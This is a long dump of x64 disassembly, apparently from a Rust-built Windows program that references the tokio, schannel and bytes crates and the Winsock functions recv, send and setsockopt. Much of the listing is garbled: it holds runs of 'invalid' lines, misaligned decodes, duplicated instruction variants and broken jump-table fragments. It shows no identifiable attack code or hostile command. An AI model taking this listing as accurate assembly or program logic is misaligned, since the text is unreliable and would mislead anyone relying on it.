invalid
mov al, 0x1c
jmp 0x1401132de
imul edi, esi, 0xffffffff
invalid
invalid
mov al, 0x1d
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x1e
jmp 0x1401132de
pop rbp
invalid
invalid
invalid
invalid
mov al, 0x1f
jmp 0x1401132de
push rsi
invalid
invalid
invalid
invalid
mov al, 0x20
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x21
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x22
jmp 0x1401132de
invalid
invalid
invalid
invalid
invalid
mov al, 0x23
jmp 0x1401132de
cmp bh, dh
invalid
invalid
invalid
mov al, 0x24
jmp 0x1401132de
invalid
invalid
invalid
mov al, 0x25
jmp 0x1401132de
invalid
invalid
invalid
mov al, 0x26
jmp 0x1401132de
mov al, 0x27
jmp 0x1401132de
mov al, 0x28
jmp 0x1401132de
jb case.0x140110efd.464
mov r15, qword [rdx + 0x90]
mov rbx, qword [rdx + 0x98]
mov esi, 0x400
add al, 0
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x28
invalid
lea r12, [rsp + 0x28]
xor ebp, ebp
nop word cs:[rax + rax]
lea rax, [rbx + rbx]
cmp rax, r13
cmova r13, rax
call 0x1420ed1a8
cmp r13, 0x401
add al, 0
add byte [rdi + rcx + 0x42], cl
out dx, al
cmovb r13, rsi
sub r13, r15
jbe case.0x1400c0ff4.462
mov rax, qword [rdi + 0x88]
sub rax, r15
cmp rax, r13
jb case.0x1400e37ef.341
call 0x18811507f
mov esi, dword [rdi + 0x80]
mov bh, 0x80
add byte [rax], al
invalid
mov rsi, qword [rdi + 0x80]
lea rcx, [rsi + r15]
cmp r13, 2
cmp ebp, 2
jb 0x1401150a6
lea r8, [r13 - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add r15, r13
dec r15
add rsi, r15
mov rcx, rsi
mov esi, 0x400
mov byte [rcx], 0
add dword [rax], eax
inc r15
mov qword [rdi + 0x90], r15
mov rax, r15
sub rax, rbx
jb case.0x1400e9218.316
mov rcx, qword [rdi + 0x80]
add byte [rax], al
add byte [rax + 1], cl
add rcx, rbx
invalid
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x40], eax
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je case.0x140110e31.368
mov rcx, r14
mov r8, r12
loopne case.0x1400c0ff4.468
call fcn.14016bfa0
movabs byte [0xb848c0854800056e], al
test rax, rax
movabs rax, 0xd00000003
add eax, dword [rax]
add byte [rax], al
add byte [0x18811510c], cl
or eax, 0x48000000
cmovne rdx, rax
cmovne edx, eax
ror byte [rax - 0x7b], 1
test rdx, rdx
ror byte [rdi], cl
jne case.0x1400e37ef.340
test dword [rax + 0x48000000], edx
mov edx, dword [rsp + 0x30]
push rsp
and al, 0x30
mov rdx, qword [rsp + 0x30]
xor byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x38]
and al, 0x38
cmp byte [rax + 0x39], cl
ror dword [rdi], 1
cmp rcx, rdx
ja case.0x1400e7c73.320
xchg ebp, ecx
add byte [rax], al
add byte [rax + 1], cl
add rbx, rcx
mov qword [rdi + 0x98], rbx
mov dword [rdi + 0x98], ebx
retf
cwde
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdi + 0xf8]
xchg eax, edi
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov rdx, rax
ret 0x2948
sub rdx, rcx
mov r13d, 0
add byte [rax], al
cmovae r13, rdx
mov qword [rdi + 0xf8], r13
add byte [rax], al
test rcx, rcx
je case.0x1400dfa4d.406
add rbp, rcx
cmp rax, rcx
cmp eax, ecx
ja 0x140115050
jmp case.0x1400dfa4d.406
xor eax, 0x808f8d48
lea rcx, [rdi + 0x80]
pop qword [rax + 0x4c000000]
add byte [rax], al
add byte [rcx + rcx*4 - 6], cl
mov rdx, r15
mov edx, edi
mov r8, r13
mov eax, ebp
call fcn.14018d7c0
xchg byte [rdi], al
add byte [rbx + rcx*4 - 0x41], cl
nop
mov r15, qword [rdi + 0x90]
mov edi, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
mov rsi, qword [rdi + 0x80]
mov bh, 0x80
add byte [rax], al
add byte [rdx - 0x73], cl
invalid
invalid
lea rcx, [rsi + r15]
or al, 0x3e
cmp r13, 2
jae 0x14011508f
cmp ebx, 0xfffffffe
invalid
invalid
jmp 0x1401150a6
or eax, 0x31ffffff
invalid
push qword [rcx]
in eax, dx
mov rcx, qword [rsp + 0x20]
mov ecx, dword [rsp + 0x20]
and al, 0x20
and byte [rax - 0x77], cl
mov qword [rcx + 8], rbp
imul ecx, dword [rax], 0xeebc031
or byte [rcx], dh
shr bl, 0xe
jmp case.0x1400e7c73.321
xor eax, eax
jmp case.0x1400e7c73.321
mov rcx, qword [rsp + 0x20]
and al, 0x20
and al, 0x20
and byte [rax - 0x77], cl
push rcx
mov qword [rcx + 8], rdx
or byte [rax + 1], bh
mov eax, 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx], rax
add dword [rax - 0x7d], ecx
add rsp, 0x48
pop rbx
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop rsi
pop r15
ret
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
add eax, 0xa89b7
mov bh, 0x89
or al, byte [rax]
invalid
mov dword [rdx], ecx
add byte [rax - 0x77], cl
mov rcx, rbx
invalid
mov rdx, r15
mov edx, edi
call fcn.1401869f0
adc al, 0x18
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
invalid
invalid
ud2
lea rcx, str.assertion_failed:__self.context.is_null__
lea ecx, str.assertion_failed:__self.context.is_null__
or eax, 0xa4793
xchg ebx, eax
or r8b, byte [r8]
or al, byte [rax]
lea r8, [0x1401b99a8]
lea eax, [0x1401b99a8]
mov esp, 0xba000a47
or r8b, byte [r8]
or al, byte [rax]
mov edx, 0x29
sub dword [rax], eax
add byte [rax], al
add al, ch
jp case.0x1400e1cdb.392
invalid
call fcn.140186b70
sbb dword [rdi], eax
invalid
add byte [rdi], cl
ud2
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcio_read_buf.rs
add eax, 0xa3989
mov dword [rcx], edi
or al, byte [rax]
add al, ch
in al, dx
call fcn.140186af0
sbb byte [rdi], al
add byte [rdi], cl
invalid
invalid
ud2
or ecx, esp
int3
int3
int3
int3
int3
int3
int3
leave
sbb eax, 0x48d08949
mov eax, edx
ror byte [rax - 0x7d], 1
cmp ecx, 0x11
stc
adc dword [rdx + 4], esi
add al, 0x4d
mov eax, dword [rax - 8]
clc
clc
clc
or eax, 0x12702f
invalid
adc al, byte [rax]
add byte [rcx], dh
ror byte [rax - 1], cl
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
neg byte [rbp - 0x333cfff9]
int3
popfq
invalid
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rdi
push rsi
push rsp
sub esp, 0x78
in al, dx
js case.0x14014c89f.325
mov edi, edx
xlatb
mov esi, ecx
invalid
mov bl, byte [rax + 0x48000000]
mov edx, dword [rdx + 0x90]
xchg edx, eax
nop
add byte [rax], al
invalid
cwde
add byte [rax], al
add byte [rax - 0x75], cl
xchg edx, eax
nop
add byte [rax], al
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], 1
xchg dword [rdx + 2], ebp
push 2
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov eax, dword [rdi + 0x80]
xchg dword [rax - 0x77000000], eax
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x38d7dbb4], cl
and al, 0x28
and al, 0x28
sub bh, al
and al, 0x2c
sub al, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
xor byte [rdi], cl
push rdi
ror byte [rdi], 0x11
adc dword [rsp + 0x38], eax
and al, 0x38
and al, 0x38
cmp byte [rdi], cl
adc dword [rsp + 0x48], eax
and al, 0x48
movups xmmword [rsp + 0x58], xmm0
adc dword [rsp + 0x58], eax
and al, 0x58
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rsp + 0x68], eax
and al, 0x68
push 0x24448d48
lea eax, [rsp + 0x28]
and al, 0x28
and al, 0x28
sub byte [rax - 0x77], cl
mov dword [rsp + 0x70], eax
and al, 0x70
and al, 0x70
jo case.0x1400e9218.336
lea ecx, [rdi + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x68
push 0x45c03145
xor ecx, ecx
leave
xor eax, eax
rol byte [rbp + 0x31], 0xc9
leave
adc eax, 0x7a25b
pop rbx
movabs byte [0xf000903163d0007], al
invalid
add ecx, dword [rcx]
or dword [rax], eax
add byte [rdi], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [0xc01a55ed], bh
or dword [rax + 0x14f840f], eax
or byte [rdi], 0x84
test byte [rdi + 1], cl
add qword [r8], r8
add byte [rax], al
add byte [rbp + 0x34850fc0], al
add dword [rax], eax
invalid
test dword [rcx + rax], esi
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x40
mov esi, dword [rdi + 0x80]
mov bh, 0x80
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov edx, dword [rdi + 0x90]
xchg edi, eax
nop
add byte [rax], al
add byte [rcx + rbp - 0xf], cl
sub rcx, r14
sub ecx, esi
int1
pop rsp
and al, 0x38
mov eax, ecx
enter 0xffffffffffffc748, 0x47
jo case.0x1400e7c73.345
invalid
mov dword [rdi + 0x70], 0
add byte [rax], al
add byte [rax], al
add byte [rax + 1], cl
fmul dword [rdi]
invalid
add byte [rax], al
invalid
inc dword [rcx]
add byte [rax], al
cmp eax, edx
ror byte [rdi], 1
xchg dword [rdi], eax
invalid
add al, byte [rax]
invalid
add byte [rcx + 1], cl
invalid
add esi, ecx
cmp dword [rdi + 0x68], ebx
pop rdi
push 0x193820f
invalid
add dword [rax], eax
add byte [rax], al
add byte [rbp + 0x31], al
in al, 0x48
mov ecx, dword [rdi + 0x60]
invalid
invalid
mov edx, esi
mov r8, rbx
adc dword [rdi], eax
add byte [rcx + 1], cl
fadd qword [rbx + 0x55c247c]
jl 0x140115369
pop rsp
add eax, 0x7067894c
invalid
jo case.0x14010aa7a.189
cmove edi, dword [rsp + 0x58]
pop rax
js 0x140115356
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov ecx, dword [rdi + 0x98]
add dword [rax], eax
add byte [rbp - 0x7b], al
dec dword [rdi]
test byte [rcx + rax], bl
add byte [rax], al
ret
add dword [rax], eax
add byte [rax - 0x39], cl
xchg dword [rax], edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 7], cl
cmp rcx, r15
cmp ecx, edi
add byte [rax], al
in eax, 0
add byte [rax], al
add cl, ch
out 0, eax
add byte [rax], al
add byte [0x1401a56c6], bh
test byte [rsi + 0x3d000000], al
and dword [rbx], eax
or dword [rax], eax
xor esi, esi
test byte [rbx + 0x55c247c], 0xc7
jl 0x1401153e6
pop rsp
add eax, 0x4047c7
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
invalid
add byte [rdi + rcx + 0x44], al
je case.0x14010aa3a.244
pop rax
add byte [rax - 0x75], r9b
add byte [rax - 0x75], cl
invalid
add byte [rax], al
add byte [rax - 0x77], cl
retf 0x294c
sub edx, esi
add byte [rax], al
add byte [rbp - 0x7b], al
div byte [rdx + rsi*2 + 0x48]
jb 0x140115436
test esi, esi
jb 0x140115436
mov eax, dword [rdi + 0x90]
mov ebx, eax
invalid
cld
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
xchg dword [rax], edx
nop
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp eax, edx
jmp case.0x14010ab6c.238
loopne case.0x140110e46.240
add cl, byte [rax - 0x77]
or byte [rax + 0x83e901], r14b
or byte [rax + 0x83e901], dh
mov dword [rsi + 8], eax
add dword [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x43c247c], al
and al, 0x3c
cmp al, 4
add al, 0xb8
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
and al, 0x38
and al, 0x38
mov byte gs:[rsi + 1], 1
add dword [rcx], r8d
cmp eax, edx
sal byte [rcx + rbx + 0x48], 1
mov ecx, dword [rdi + 0x80]
invalid
add byte [rax], 0
invalid
pop qword [rax + 0x48000000]
add byte [rax], 0
add byte [rax], al
add byte [rax + 1], cl
add edx, ecx
retf 0x8949
mov eax, ebx
invalid
add byte [rax - 0x77], cl
lahf
nop
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x49], cl
cwde
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
xchg eax, edi
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
add byte [rax], al
add byte [rax], al
xor al, 0x48
cmp eax, edx
mov ecx, dword [rdi + 0x80]
pop qword [rax + 0x48000000]
add byte [rax], 0
add byte [rax + 1], cl
invalid
add edx, ecx
retf 0x8949
push rdi
adc byte [rdi], al
invalid
add byte [rax - 0x77], cl
lahf
nop
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
rol byte [rbp - 0x7b], 0xff
dec dword [rdi]
xchg esp, eax
ror byte [rcx + rcx*4 - 0x41], 0x98
cwde
cwde
add byte [rax], al
add byte [rax - 0x77], cl
xchg eax, edi
clc
add byte [rax], al
clc
add byte [rax], al
add byte [rax], al
add dh, al
add dword [rax], r8d
invalid
add byte [rcx], dh
ror byte [rax - 0x3b7cb7fa], 0x78
invalid
js 0x14011550f
pop rsi
invalid
cmc
invalid
jo case.0x14010aa7a.210
jo case.0x14010aa7a.210
pop rcx
invalid
lea eax, [0x1401bdb28]
add eax, 0xa864d
xchg byte [rdx], cl
add al, ch
adc byte [rsi], dl
invalid
invalid
lea ecx, [0x1401bda8f]
or eax, 0xa85a6
lea eax, [0x1401bdab0]
add eax, 0xa85c0
invalid
add byte [rax], al
add al, ch
jbe case.0x14010ab6c.221
invalid
invalid
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
invalid
invalid
add eax, 0xabb15
adc eax, 0x48000abb
mov ecx, edx
invalid
mov ebx, 0x8948000a
ror dword [rax - 0x77], 1
ret 0xe2e8
invalid
invalid
mov edx, eax
loop case.0x14011130f.173
invalid
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea eax, [0x1401bdb40]
sub dword [rsi - 0x76b7fff6], eax
xchg byte [rdx], cl
add byte [rax - 0x77], cl
invalid
or al, byte [rax]
mov edx, eax
ret 0x61e8
invalid
sbb byte [rdi], al
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
invalid
invalid
lea eax, [0x1401bdb40]
add eax, 0xa8618
or al, byte [rax]
mov ecx, eax
shr eax, 0xc0
adc eax, 0xb0f0007
add byte [rdi], cl
or ecx, esp
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push rdi
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
push rax
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
add r14b, r15b
invalid
invalid
invalid
mov r13, rcx
mov ebp, ecx
mov qword [rcx + 0x38], rdx
mov rdi, qword [rcx + 0xb0]
mov edi, dword [rcx + 0xb0]
mov edi, dword [rcx + 0xb0]
mov ecx, 0xb0
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
cdq
mov rbx, qword [rcx + 0xb8]
mov ebx, dword [rcx + 0xb8]
mov eax, 0x48000000
cmp rbx, rdi
cmp ebx, edi
je 0x14011568f
test byte [rcx + rax], dl
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r14, rdx
mov esi, edx
lea r15, [r13 + 0x10]
lea r12, [rbp - 0x28]
lea esp, [rbp - 0x28]
adc byte [rbp + rcx*4 + 0x65], cl
lea esp, [rbp - 0x28]
fmul dword [rcx + rcx*4 + 0x6d]
mov qword [rbp - 8], r13
insd dword [rdi], dx
clc
nop word [rax + rax]
nop dword [rax + rax]
add byte [rax - 0x77], cl
clc
mov rax, rdi
mov eax, edi
sub rax, rbx
jb case.0x140110e46.314
lodsd eax, dword [rsi]
add al, byte [rax]
invalid
add byte [rax], al
add byte [rbp - 0x75], cl
lea esp, [rax + 0x49000000]
invalid
add byte [rax], al
add byte [rax], al
invalid
mov r9, qword [r13 + 0xa0]
mov ecx, dword [rbp + 0xa0]
movabs al, byte [0x8948d90149000000]
add r9, rbx
add ecx, ebx
mov qword [rsp + 0x20], rax
and al, 0x20
mov rcx, r12
mov rdx, r15
loope case.0x1400df101.478
mov edx, edi
mov r8, r14
mov eax, esi
call case.0x140153662.235
outsd dx, dword [rsi]
add eax, 0x458b4800
invalid
invalid
invalid
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
fmul dword [r8 - 0x7d]
fmul dword [rax - 0x7d]
cmp rax, 2
je case.0x1400dfa4d.462
invalid
clc
add dh, byte [rbp + riz + 0x48]
and eax, 0xe0758b48
mov rsi, qword [rbp - 0x20]
mov esi, dword [rbp - 0x20]
test rax, rax
ror byte [rdi], 0x85
xchg esi, eax
add byte [rax], al
add byte [rax], al
invalid
invalid
jne case.0x1400dfa4d.428
test dword [rsi + 0x48000000], edx
add byte [rax], al
add rbx, rsi
add ebx, esi
mov r13, qword [rbp - 8]
mov r13, qword [rbp - 8]
insd dword [rdi], dx
clc
mov qword [r13 + 0xb8], rbx
mov dword [rbp + 0xb8], ebx
add byte [rax], al
cmp rbx, rdi
jne 0x140115590
jmp 0x14011568f
add byte [rax], al
add byte [rax], al
add byte [rax - 0x42], cl
movabs rsi, 0xd00000003
mov r13, qword [rbp - 8]
mov ebp, dword [rbp - 8]
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [0x18c1155f3], cl
or eax, 0x4c000000
add byte [rbx + rcx*4 + 0x6d], cl
mov ebp, dword [rbp - 8]
clc
mov al, 0xd
mov ecx, 3
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x8c850f], bh
cmp al, 0xd
or eax, 0x8c850f
jne case.0x1400e3648.413
mov word [rax], es
add byte [rax], al
mov qword [r13 + 0x38], 0
mov dword [rbp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
add byte [rdi + 1], bh
mov edi, 1
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rcx - 2]
dec byte [r8 - 0x7d]
cmp rax, 2
clc
add cl, byte [rdi]
jb case.0x1400e37ef.409
invalid
or al, 1
add dword [rax], eax
add byte [rax], al
add byte [rbx - 0x7af0fe07], al
cmp ecx, 1
jne case.0x1400e37ef.409
test dword [rbx], eax
add dword [rax], eax
add byte [rax], al
add dword [rdi], ecx
test dword [rbx], eax
add dword [rax], eax
add byte [rax], al
invalid
invalid
add eax, dword [rcx]
add byte [rax], al
lea rax, [rsi - 1]
lea eax, [rsi - 1]
dec dword [rax - 0x77]
mov qword [rbp - 8], rax
clc
clc
mov rcx, qword [rsi - 1]
mov ecx, dword [rsi - 1]
mov rax, qword [rsi + 7]
invalid
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x18], eax
call 0xcb596744
call qword [rax]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14889d993
cmp qword [rax + 8], 0
add byte [rdi], cl
test bh, al
invalid
add byte [rax], al
je case.0x1400e9218.374
mov dword [rax], 0x83480000
add byte [rax - 0x7d], cl
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js case.0x1400dfa4d.428
adc byte [rcx], dl
adc dword [rdi], ecx
jae case.0x1400e1cdb.435
and dword [rbp + 0x4c000000], 0xffffff8b
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x10]
invalid
invalid
jmp 0x14011570a
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
invalid
add byte [rax], al
test rsi, rsi
test esi, esi
test byte [rbx + rcx*4 + 0x6d], 0xf8
mov r13, qword [rbp - 8]
mov ebp, dword [rbp - 8]
insd dword [rdi], dx
clc
je 0x14011568f
and byte [rcx + 0x3e083f0], cl
mov eax, esi
and eax, 3
loopne 0x140115677
lea rcx, [0x1401ef3f4]
lea ecx, [0x1401ef3f4]
or eax, 0xd9d79
jns case.0x14011130f.165
popfq
or eax, 0x4634800
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
jmp rax
invalid
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
add eax, ecx
jmp rax
loopne case.0x140110e31.415
movzx eax, byte [rsi + 0x10]
xor ecx, ecx
leave
mov dh, 0x46
adc byte [rcx], r14b
adc byte [rcx], dh
leave
jmp case.0x1400dfa4d.461
outsb dx, byte [rsi]
invalid
invalid
push qword [rcx]
xor esi, esi
test byte [rcx - 0x39], 0x45
mov qword [r13 + 0x38], 0
mov dword [rbp + 0x38], 0
cmp byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
dec dword [rax - 0x77]
mov rax, rdi
xor edi, edi
mov rax, rdi
mov eax, edi
mov rdx, rsi
mov edx, esi
add rsp, 0x58
add rsp, 0x58
add esp, 0x58
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov rcx, rsi
mov ecx, esi
int1
shr rcx, 0x20
call fcn.14014c870
mov dl, 0x71
add eax, dword [rax]
and al, ch
mov dl, 0x71
jno 0x1401156c0
add eax, dword [rax]
add byte [rcx + 2], bh
mov ecx, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add cl, ch
xor eax, 0x48ffffff
invalid
invalid
invalid
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
mov rax, rsi
mov eax, esi
invalid
shr rax, 0x20
shr eax, 0x20
call 0x140150ff2
mov ecx, 3
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x78f0d708], al
out 0, eax
invalid
cmp eax, 0x28
sub byte [rdi], cl
ja case.default.0x1401156eb
xchg edi, esp
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rdx, [0x1401ef404]
lea edx, [0x1401ef404]
adc eax, 0xd9d20
popfq
or eax, 0x4634800
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
add rax, rdx
add eax, edx
jmp rax
loopne 0x14011571f
xor eax, eax
shr cl, 9
jmp case.0x1400dfa4d.461
or edi, edi
invalid
invalid
dec dword [rdi]
mov dh, 0x46
invalid
movzx eax, byte [rsi + 0xf]
ud1
ud1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp case.0x1400dfa4d.461
sti
invalid
invalid
dec dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x10]
invalid
invalid
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
clc
clc
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x126b47
imul r10d, dword [r10], 0
imul edx, dword [rdx], 0
adc al, byte [rax]
add byte [rcx], dh
xor edx, edx
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x7990f
setns byte [rdi]
add byte [rax - 0x75], cl
invalid
invalid
cdq
invalid
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
or eax, 0x126b38
cmp byte [rbx + 0x12], ch
imul edx, dword [rdx], 0
adc al, byte [rax]
add byte [rcx], dh
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 8]
mov eax, dword [rbp - 8]
clc
clc
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x798fc
cld
cwde
invalid
add cl, ch
push 0xffffffffffffffff
invalid
jmp case.0x140110e31.419
invalid
invalid
push qword [rax - 0x13a16db]
mov al, 0x25
and eax, 0xfffec5e9
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x14116dd]
mov al, 0x23
and ebp, ecx
mov esi, 0xb0fffffe
invalid
invalid
invalid
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x14816dc]
mov al, 0x24
and al, 0xe9
mov bh, 0xfe
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x14f16e5]
mov al, 0x1b
sbb ebp, ecx
mov al, 0xfe
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x15616de]
mov al, 0x22
and ch, cl
test eax, 0xb0fffffe
invalid
invalid
invalid
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x15d16f0]
mov al, reloc.WS2_32.dll_recv
adc cl, ch
movabs byte [0xfe9be90eb0fffffe], al
invalid
invalid
push qword [rax - 0x16416f2]
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x16416f2]
mov al, 0xe
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x16b16df]
mov al, 0x21
and ecx, ebp
xchg esp, eax
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x17216f6]
mov al, 0xa
or ch, cl
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x17916fd]
mov al, 3
add ebp, ecx
xchg dh, bh
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x18016d8]
mov al, 0x28
sub cl, ch
jmp case.0x1400dfa4d.461
jg 0x14011577a
invalid
push qword [rax - 0x18716f5]
mov al, 0xb
or ebp, ecx
jmp case.0x1400dfa4d.461
js 0x140115781
invalid
invalid
push qword [rax - 0x18e16f8]
mov al, 8
or cl, ch
jmp case.0x1400dfa4d.461
jno 0x140115788
invalid
invalid
mov al, 0x19
sbb ecx, ebp
push 0xfffffffffffffffe
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x19c16e8]
mov al, 0x18
sbb cl, ch
invalid
jmp case.0x1400dfa4d.461
invalid
invalid
push qword [rax - 0x1a316ff]
mov al, 1
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
add ecx, ebp
pop rsp
invalid
invalid
push qword [rax - 0x1aa16f1]
mov al, recv
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
psubsw mm2, qword [rbp - 2]
invalid
invalid
push qword [rax - 0x1b116fe]
mov al, 2
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
add ch, cl
invalid
invalid
invalid
push qword [rax - 0x1b816fa]
mov al, 6
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1bf16e1]
mov al, 0x1f
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1c616ef]
mov al, 0x11
jmp case.0x1400dfa4d.461
cmp esi, edi
invalid
invalid
adc ecx, ebp
cmp esi, edi
invalid
invalid
push qword [rax - 0x1cd16d7]
mov al, 0x29
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
sub ecx, ebp
xor bh, dh
invalid
invalid
invalid
push qword [rax - 0x1d416ec]
mov al, setsockopt
jmp case.0x1400dfa4d.461
sub edi, esi
invalid
invalid
sub edi, esi
invalid
invalid
push qword [rax - 0x1db16fc]
mov al, 4
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1e216eb]
mov al, reloc.WS2_32.dll_setsockopt
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
sbb eax, 0xb0fffffe
or al, 0xe9
invalid
invalid
invalid
push qword [rax - 0x1e916f4]
mov al, 0xc
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1f016fb]
mov al, 5
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
paddd mm7, mm7
invalid
invalid
push qword [rax - 0x1f716ee]
mov al, send
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x1fe16f7]
mov al, 9
jmp case.0x1400dfa4d.461
invalid
invalid
invalid
invalid
invalid
push qword [rax - 0x20516f9]
mov al, 7
jmp case.0x1400dfa4d.461
std
invalid
invalid
std
invalid
push qword [rax - 0x20c16e2]
mov al, 0x1e
jmp case.0x1400dfa4d.461
std
invalid
push qword [rax - 0x21316e0]
mov al, 0x20
jmp case.0x1400dfa4d.461
std
invalid
invalid
std
invalid
